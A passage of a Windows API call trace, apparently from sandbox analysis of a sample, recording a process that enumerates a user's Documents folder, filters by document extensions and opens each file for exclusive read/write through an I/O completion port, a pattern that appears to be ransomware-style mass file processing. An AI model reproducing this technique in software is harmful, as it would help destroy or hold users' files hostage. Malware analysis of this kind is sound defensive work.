hTemplateFile=0x0) returned 0x328 [0110.697] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x76) returned 0x369f580 [0110.699] CreateIoCompletionPort (FileHandle=0x328, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.699] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x44e9450) returned 1 [0110.699] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5580f0, ftCreationTime.dwHighDateTime=0x1d75997, ftLastAccessTime.dwLowDateTime=0x38999990, ftLastAccessTime.dwHighDateTime=0x1d75c92, ftLastWriteTime.dwLowDateTime=0x38999990, ftLastWriteTime.dwHighDateTime=0x1d75c92, nFileSizeHigh=0x0, nFileSizeLow=0x147e2, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="9WPMG5w3nojWcs51.docx", cAlternateFileName="9WPMG5~1.DOC")) returned 1 [0110.699] PathFindExtensionW (pszPath="9wpmg5w3nojwcs51.docx") returned=".docx" [0110.699] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x14932) returned 0x44f6f00 [0110.700] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\9WPMG5w3nojWcs51.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\9wpmg5w3nojwcs51.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x32c [0110.700] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6e) returned 0x30ee2d8 [0110.702] CreateIoCompletionPort (FileHandle=0x32c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.702] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x44f6f00) returned 1 [0110.702] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd203b40, ftCreationTime.dwHighDateTime=0x1d74fb5, ftLastAccessTime.dwLowDateTime=0x8db1c680, ftLastAccessTime.dwHighDateTime=0x1d7568b, ftLastWriteTime.dwLowDateTime=0x8db1c680, ftLastWriteTime.dwHighDateTime=0x1d7568b, nFileSizeHigh=0x0, nFileSizeLow=0x131a4, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="AIEvT4Qz7Bv01ypgZ.pdf", cAlternateFileName="AIEVT4~1.PDF")) returned 1 [0110.702] PathFindExtensionW (pszPath="aievt4qz7bv01ypgz.pdf") returned=".pdf" [0110.702] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x132f4) returned 0x450b840 [0110.703] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\AIEvT4Qz7Bv01ypgZ.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\aievt4qz7bv01ypgz.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x330 [0110.703] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6e) returned 0x30ee5a8 [0110.705] CreateIoCompletionPort (FileHandle=0x330, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.705] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x450b840) returned 1 [0110.705] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27a27c40, ftCreationTime.dwHighDateTime=0x1d74dad, ftLastAccessTime.dwLowDateTime=0xb70d2740, ftLastAccessTime.dwHighDateTime=0x1d75ad7, ftLastWriteTime.dwLowDateTime=0xb70d2740, ftLastWriteTime.dwHighDateTime=0x1d75ad7, nFileSizeHigh=0x0, nFileSizeLow=0x205b, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="aORlCMsiaM.doc", cAlternateFileName="AORLCM~1.DOC")) returned 1 [0110.705] PathFindExtensionW (pszPath="aorlcmsiam.doc") returned=".doc" [0110.705] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x21ab) returned 0x388d6a8 [0110.705] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\aORlCMsiaM.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\aorlcmsiam.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x334 [0110.705] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x60) returned 0x2086368 [0110.707] CreateIoCompletionPort (FileHandle=0x334, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.707] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x388d6a8) returned 1 [0110.707] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e1d9390, ftCreationTime.dwHighDateTime=0x1d74f04, ftLastAccessTime.dwLowDateTime=0x6eca11d0, ftLastAccessTime.dwHighDateTime=0x1d752af, ftLastWriteTime.dwLowDateTime=0x6eca11d0, ftLastWriteTime.dwHighDateTime=0x1d752af, nFileSizeHigh=0x0, nFileSizeLow=0x10bc, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="bOkgUz6.odp", cAlternateFileName="")) returned 1 [0110.707] PathFindExtensionW (pszPath="bokguz6.odp") returned=".odp" [0110.707] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x120c) returned 0x388f860 [0110.707] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\bOkgUz6.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\bokguz6.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x338 [0110.707] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5a) returned 0x20863d0 [0110.709] CreateIoCompletionPort (FileHandle=0x338, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.709] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x388f860) returned 1 [0110.709] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x332e0a0, ftCreationTime.dwHighDateTime=0x1d73446, ftLastAccessTime.dwLowDateTime=0x1ffc3230, ftLastAccessTime.dwHighDateTime=0x1d7566b, ftLastWriteTime.dwLowDateTime=0x1ffc3230, ftLastWriteTime.dwHighDateTime=0x1d7566b, nFileSizeHigh=0x0, nFileSizeLow=0x133d0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="B_IKnAuj4tm9 PtH.pptx", cAlternateFileName="B_IKNA~1.PPT")) returned 1 [0110.709] PathFindExtensionW (pszPath="b_iknauj4tm9 pth.pptx") returned=".pptx" [0110.709] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x13520) returned 0x451eb40 [0110.710] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\B_IKnAuj4tm9 PtH.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\b_iknauj4tm9 pth.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x33c [0110.711] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6e) returned 0x30ee440 [0110.712] CreateIoCompletionPort (FileHandle=0x33c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.712] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x451eb40) returned 1 [0110.712] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd748c680, ftCreationTime.dwHighDateTime=0x1d6dc7a, ftLastAccessTime.dwLowDateTime=0x24966c90, ftLastAccessTime.dwHighDateTime=0x1d73a58, ftLastWriteTime.dwLowDateTime=0x24966c90, ftLastWriteTime.dwHighDateTime=0x1d73a58, nFileSizeHigh=0x0, nFileSizeLow=0x218d, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="c0s1YUWcSTEroJdKuB.docx", cAlternateFileName="C0S1YU~1.DOC")) returned 1 [0110.712] PathFindExtensionW (pszPath="c0s1yuwcsterojdkub.docx") returned=".docx" [0110.712] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x22dd) returned 0x4532068 [0110.713] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\c0s1YUWcSTEroJdKuB.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\c0s1yuwcsterojdkub.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x340 [0110.713] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x72) returned 0x369f600 [0110.714] CreateIoCompletionPort (FileHandle=0x340, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.714] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4532068) returned 1 [0110.714] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4baae8b0, ftCreationTime.dwHighDateTime=0x1d7559c, ftLastAccessTime.dwLowDateTime=0xa6e29bb0, ftLastAccessTime.dwHighDateTime=0x1d75beb, ftLastWriteTime.dwLowDateTime=0xa6e29bb0, ftLastWriteTime.dwHighDateTime=0x1d75beb, nFileSizeHigh=0x0, nFileSizeLow=0xdc9c, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="chQiNux5apW.csv", cAlternateFileName="CHQINU~1.CSV")) returned 1 [0110.714] PathFindExtensionW (pszPath="chqinux5apw.csv") returned=".csv" [0110.714] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xddec) returned 0x4534350 [0110.716] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\chQiNux5apW.csv" (normalized: "c:\\users\\keecfmwgj\\documents\\chqinux5apw.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x344 [0110.716] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x62) returned 0x2068350 [0110.717] CreateIoCompletionPort (FileHandle=0x344, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.717] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4534350) returned 1 [0110.717] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba9970, ftCreationTime.dwHighDateTime=0x1d74d69, ftLastAccessTime.dwLowDateTime=0x1ebcbc40, ftLastAccessTime.dwHighDateTime=0x1d758fb, ftLastWriteTime.dwLowDateTime=0x1ebcbc40, ftLastWriteTime.dwHighDateTime=0x1d758fb, nFileSizeHigh=0x0, nFileSizeLow=0xc3a9, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="D2B5.csv", cAlternateFileName="")) returned 1 [0110.717] PathFindExtensionW (pszPath="d2b5.csv") returned=".csv" [0110.717] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xc4f9) returned 0x4542148 [0110.718] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\D2B5.csv" (normalized: "c:\\users\\keecfmwgj\\documents\\d2b5.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x348 [0110.718] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x54) returned 0x2069a80 [0110.720] CreateIoCompletionPort (FileHandle=0x348, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.720] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4542148) returned 1 [0110.720] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506d17a0, ftCreationTime.dwHighDateTime=0x1d7573c, ftLastAccessTime.dwLowDateTime=0xcf23350, ftLastAccessTime.dwHighDateTime=0x1d75ce3, ftLastWriteTime.dwLowDateTime=0xcf23350, ftLastWriteTime.dwHighDateTime=0x1d75ce3, nFileSizeHigh=0x0, nFileSizeLow=0x136e3, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Da8Oppcqp90t.docx", cAlternateFileName="DA8OPP~1.DOC")) returned 1 [0110.720] PathFindExtensionW (pszPath="da8oppcqp90t.docx") returned=".docx" [0110.720] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x13833) returned 0x454e650 [0110.754] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Da8Oppcqp90t.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\da8oppcqp90t.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x26c [0110.754] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x66) returned 0x20683c0 [0110.756] CreateIoCompletionPort (FileHandle=0x26c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.756] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x454e650) returned 1 [0110.756] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8588a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.756] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20213e0, ftCreationTime.dwHighDateTime=0x1d74a62, ftLastAccessTime.dwLowDateTime=0x760a13a0, ftLastAccessTime.dwHighDateTime=0x1d758d1, ftLastWriteTime.dwLowDateTime=0x760a13a0, ftLastWriteTime.dwHighDateTime=0x1d758d1, nFileSizeHigh=0x0, nFileSizeLow=0x136cc, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="eB 95K8MWD.xlsx", cAlternateFileName="EB95K8~1.XLS")) returned 1 [0110.756] PathFindExtensionW (pszPath="eb 95k8mwd.xlsx") returned=".xlsx" [0110.756] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1381c) returned 0x3890a78 [0110.756] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\eB 95K8MWD.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\eb 95k8mwd.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x274 [0110.757] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x62) returned 0x2068430 [0110.758] CreateIoCompletionPort (FileHandle=0x274, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.758] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x3890a78) returned 1 [0110.759] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf365eeb0, ftCreationTime.dwHighDateTime=0x1d757e5, ftLastAccessTime.dwLowDateTime=0x3796f190, ftLastAccessTime.dwHighDateTime=0x1d75b1c, ftLastWriteTime.dwLowDateTime=0x3796f190, ftLastWriteTime.dwHighDateTime=0x1d75b1c, nFileSizeHigh=0x0, nFileSizeLow=0x72cd, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="fDhfuRyygxzvH.ods", cAlternateFileName="FDHFUR~1.ODS")) returned 1 [0110.759] PathFindExtensionW (pszPath="fdhfuryygxzvh.ods") returned=".ods" [0110.759] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x741d) returned 0x38a42a0 [0110.759] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\fDhfuRyygxzvH.ods" (normalized: "c:\\users\\keecfmwgj\\documents\\fdhfuryygxzvh.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x27c [0110.759] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x66) returned 0x20684a0 [0110.761] CreateIoCompletionPort (FileHandle=0x27c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.761] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x38a42a0) returned 1 [0110.761] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x944b2530, ftCreationTime.dwHighDateTime=0x1d75664, ftLastAccessTime.dwLowDateTime=0x787f9200, ftLastAccessTime.dwHighDateTime=0x1d75885, ftLastWriteTime.dwLowDateTime=0x787f9200, ftLastWriteTime.dwHighDateTime=0x1d75885, nFileSizeHigh=0x0, nFileSizeLow=0x16486, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="fWYCUggo7eiu Mez.odt", cAlternateFileName="FWYCUG~1.ODT")) returned 1 [0110.761] PathFindExtensionW (pszPath="fwycuggo7eiu mez.odt") returned=".odt" [0110.761] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x165d6) returned 0x4561e90 [0110.763] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\fWYCUggo7eiu Mez.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\fwycuggo7eiu mez.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x278 [0110.763] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6c) returned 0x30ee788 [0110.764] CreateIoCompletionPort (FileHandle=0x278, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.764] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4561e90) returned 1 [0110.764] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4685cc40, ftCreationTime.dwHighDateTime=0x1d75bde, ftLastAccessTime.dwLowDateTime=0x62438ab0, ftLastAccessTime.dwHighDateTime=0x1d75c58, ftLastWriteTime.dwLowDateTime=0x62438ab0, ftLastWriteTime.dwHighDateTime=0x1d75c58, nFileSizeHigh=0x0, nFileSizeLow=0x9e80, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="GMmGBk5gIcrjM.doc", cAlternateFileName="GMMGBK~1.DOC")) returned 1 [0110.764] PathFindExtensionW (pszPath="gmmgbk5gicrjm.doc") returned=".doc" [0110.764] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x9fd0) returned 0x4578470 [0110.765] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\GMmGBk5gIcrjM.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gmmgbk5gicrjm.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x254 [0110.766] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x66) returned 0x2068510 [0110.768] CreateIoCompletionPort (FileHandle=0x254, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.768] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4578470) returned 1 [0110.768] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7475f0, ftCreationTime.dwHighDateTime=0x1d71ee7, ftLastAccessTime.dwLowDateTime=0xd4193580, ftLastAccessTime.dwHighDateTime=0x1d735df, ftLastWriteTime.dwLowDateTime=0xd4193580, ftLastWriteTime.dwHighDateTime=0x1d735df, nFileSizeHigh=0x0, nFileSizeLow=0xf460, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Jm6CiFV.pptx", cAlternateFileName="JM6CIF~1.PPT")) returned 1 [0110.768] PathFindExtensionW (pszPath="jm6cifv.pptx") returned=".pptx" [0110.768] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xf5b0) returned 0x4582448 [0110.769] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Jm6CiFV.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\jm6cifv.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x34c [0110.770] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5c) returned 0x2086090 [0110.771] CreateIoCompletionPort (FileHandle=0x34c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.771] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4582448) returned 1 [0110.772] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce8d170, ftCreationTime.dwHighDateTime=0x1d74fd2, ftLastAccessTime.dwLowDateTime=0x161825d0, ftLastAccessTime.dwHighDateTime=0x1d75986, ftLastWriteTime.dwLowDateTime=0x161825d0, ftLastWriteTime.dwHighDateTime=0x1d75986, nFileSizeHigh=0x0, nFileSizeLow=0x12d09, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="JM7eM8laWBfHyX5ed.odt", cAlternateFileName="JM7EM8~1.ODT")) returned 1 [0110.772] PathFindExtensionW (pszPath="jm7em8lawbfhyx5ed.odt") returned=".odt" [0110.772] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x12e59) returned 0x45a0048 [0110.774] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\JM7eM8laWBfHyX5ed.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\jm7em8lawbfhyx5ed.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x350 [0110.774] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6e) returned 0x30ee4b8 [0110.776] CreateIoCompletionPort (FileHandle=0x350, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.776] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x45a0048) returned 1 [0110.776] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7e61560, ftCreationTime.dwHighDateTime=0x1d72a41, ftLastAccessTime.dwLowDateTime=0x4a9e4ef0, ftLastAccessTime.dwHighDateTime=0x1d75cd4, ftLastWriteTime.dwLowDateTime=0x4a9e4ef0, ftLastWriteTime.dwHighDateTime=0x1d75cd4, nFileSizeHigh=0x0, nFileSizeLow=0x4b99, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="keforvhV3MOW.docx", cAlternateFileName="KEFORV~1.DOC")) returned 1 [0110.776] PathFindExtensionW (pszPath="keforvhv3mow.docx") returned=".docx" [0110.776] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x4ce9) returned 0x4591a00 [0110.777] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\keforvhV3MOW.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\keforvhv3mow.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x354 [0110.777] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x66) returned 0x2068580 [0110.779] CreateIoCompletionPort (FileHandle=0x354, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.779] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4591a00) returned 1 [0110.779] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x559fdd30, ftCreationTime.dwHighDateTime=0x1d75cc2, ftLastAccessTime.dwLowDateTime=0x671207a0, ftLastAccessTime.dwHighDateTime=0x1d75ce5, ftLastWriteTime.dwLowDateTime=0x671207a0, ftLastWriteTime.dwHighDateTime=0x1d75ce5, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Ljl6.ods", cAlternateFileName="")) returned 1 [0110.779] PathFindExtensionW (pszPath="ljl6.ods") returned=".ods" [0110.779] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x29e2) returned 0x397a3a0 [0110.780] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Ljl6.ods" (normalized: "c:\\users\\keecfmwgj\\documents\\ljl6.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x358 [0110.780] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x54) returned 0x2069840 [0110.782] CreateIoCompletionPort (FileHandle=0x358, ExistingCompletionPort=0x220, CompletionKey=0x0, 